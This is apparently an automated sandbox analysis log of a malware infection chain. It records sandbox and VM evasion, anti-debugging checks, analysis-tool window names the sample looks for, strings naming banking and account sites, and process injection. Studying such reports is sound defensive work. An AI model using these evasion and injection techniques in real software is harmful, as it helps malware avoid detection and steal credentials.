Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6680	Thread sleep time: -76038s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 980	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 2952	Thread sleep count: 32 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 2952	Thread sleep time: -64032s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6408	Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 940	Thread sleep count: 33 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 940	Thread sleep time: -66033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6476	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6476	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6492	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6492	Thread sleep time: -76038s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6560	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe TID: 1452	Thread sleep count: 62 > 30
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe TID: 1452	Thread sleep count: 84 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6752	Thread sleep count: 1157 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 6752	Thread sleep time: -2315157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 4632	Thread sleep count: 1155 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 4632	Thread sleep time: -2311155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3952	Thread sleep count: 1156 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3952	Thread sleep time: -2313156s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3204	Thread sleep count: 364 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3204	Thread sleep time: -2184000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3340	Thread sleep count: 1183 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3340	Thread sleep time: -2367183s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 2812	Thread sleep count: 1127 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 2812	Thread sleep time: -2255127s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3792	Thread sleep count: 1187 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3792	Thread sleep time: -2375187s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3528	Thread sleep count: 1185 > 30
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe TID: 3528	Thread sleep time: -2371185s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe TID: 4740	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe TID: 1360	Thread sleep count: 88 > 30
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe TID: 1360	Thread sleep count: 85 > 30

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00386304 FindFirstFileExW,	7_2_00386304
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_003863B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_003863B5
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00386304 FindFirstFileExW,	9_2_00386304
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_003863B5 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_003863B5

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\370821
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\370821\

Source: skotes.exe, skotes.exe, 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmp, 9f6ea82062.exe, 00000020.00000002.3948146191.0000000000E2B000.00000040.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000020.00000000.3269607750.0000000000E2B000.00000080.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000024.00000002.4211726440.0000000000E2B000.00000040.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000024.00000000.3409375402.0000000000E2B000.00000080.00000001.01000000.00000012.sdmp, 5936bfa4af.exe, 0000002C.00000002.3629094754.0000000000321000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 17ce3a84e4.exe, 0000001B.00000002.4522542200.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4488835946.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 51ecf08926.exe, 00000021.00000003.3386520776.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3373835811.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3360279867.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3402212541.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3535624044.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3527139592.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3396211918.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3405370218.00000000016DA000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3375586091.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3385560100.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPc:_
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B881000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 580c9354ec.exe, 0000001F.00000003.3535882043.0000000005A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: EUCyhuW.exe, 00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093424754.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2804303481.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3137952445.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3100957478.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2914135153.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000002.3138117875.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.3093424754.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2887459258.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913252442.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B881000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B881000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 51ecf08926.exe, 00000021.00000002.3625843163.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3593117120.00000000016A1000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3592281547.000000000169C000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3589272838.0000000001693000.00000004.00000020.00020000.00000000.sdmp, 51ecf08926.exe, 00000021.00000003.3596659488.00000000016B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.0000000000994000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxV
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 9f6ea82062.exe, 00000020.00000002.4054758953.000000000B881000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 17ce3a84e4.exe, 0000001B.00000003.4498901768.00000000014E9000.00000004.00000020.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4524131042.00000000014E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWQ
Source: 580c9354ec.exe, 0000001F.00000003.3535882043.0000000005A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 9f6ea82062.exe, 00000024.00000002.4260064567.0000000001665000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW+`
Source: 9f6ea82062.exe, 00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2109012828.00000000010A7000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2139636636.00000000008B7000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmp, 9f6ea82062.exe, 00000020.00000002.3948146191.0000000000E2B000.00000040.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000024.00000002.4211726440.0000000000E2B000.00000040.00000001.01000000.00000012.sdmp, 5936bfa4af.exe, 0000002C.00000002.3629094754.0000000000321000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 9f6ea82062.exe, 00000020.00000002.3929798314.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA
Source: 9f6ea82062.exe, 00000020.00000000.3269607750.0000000000E2B000.00000080.00000001.01000000.00000012.sdmp, 9f6ea82062.exe, 00000024.00000000.3409375402.0000000000E2B000.00000080.00000001.01000000.00000012.sdmp	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 580c9354ec.exe, 0000001F.00000003.3543466891.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_052B0CC2 rdtsc

0_2_052B0CC2

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 9_2_0043AAB0 LdrInitializeThunk,

9_2_0043AAB0

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 7_2_00374073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_00374073

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE652B mov eax, dword ptr fs:[00000030h]	0_2_00EE652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEA302 mov eax, dword ptr fs:[00000030h]	0_2_00EEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006FA302 mov eax, dword ptr fs:[00000030h]	2_2_006FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006F652B mov eax, dword ptr fs:[00000030h]	2_2_006F652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006FA302 mov eax, dword ptr fs:[00000030h]	3_2_006FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006F652B mov eax, dword ptr fs:[00000030h]	3_2_006F652B
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_0039C19E mov edi, dword ptr fs:[00000030h]	7_2_0039C19E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_003616A0 mov edi, dword ptr fs:[00000030h]	7_2_003616A0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_003616A0 mov edi, dword ptr fs:[00000030h]	9_2_003616A0

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 7_2_00381DBC GetProcessHeap,

7_2_00381DBC

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00374073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00374073
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00374067 SetUnhandledExceptionFilter,	7_2_00374067
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00373CB7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00373CB7
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_0037CDB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_0037CDB0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00374073 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00374073
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00374067 SetUnhandledExceptionFilter,	9_2_00374067
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00373CB7 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00373CB7
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0037CDB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0037CDB0

Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 9f6ea82062.exe PID: 932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f6ea82062.exe PID: 3940, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 7_2_0039C19E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

7_2_0039C19E

Injects a PE file into a foreign processes

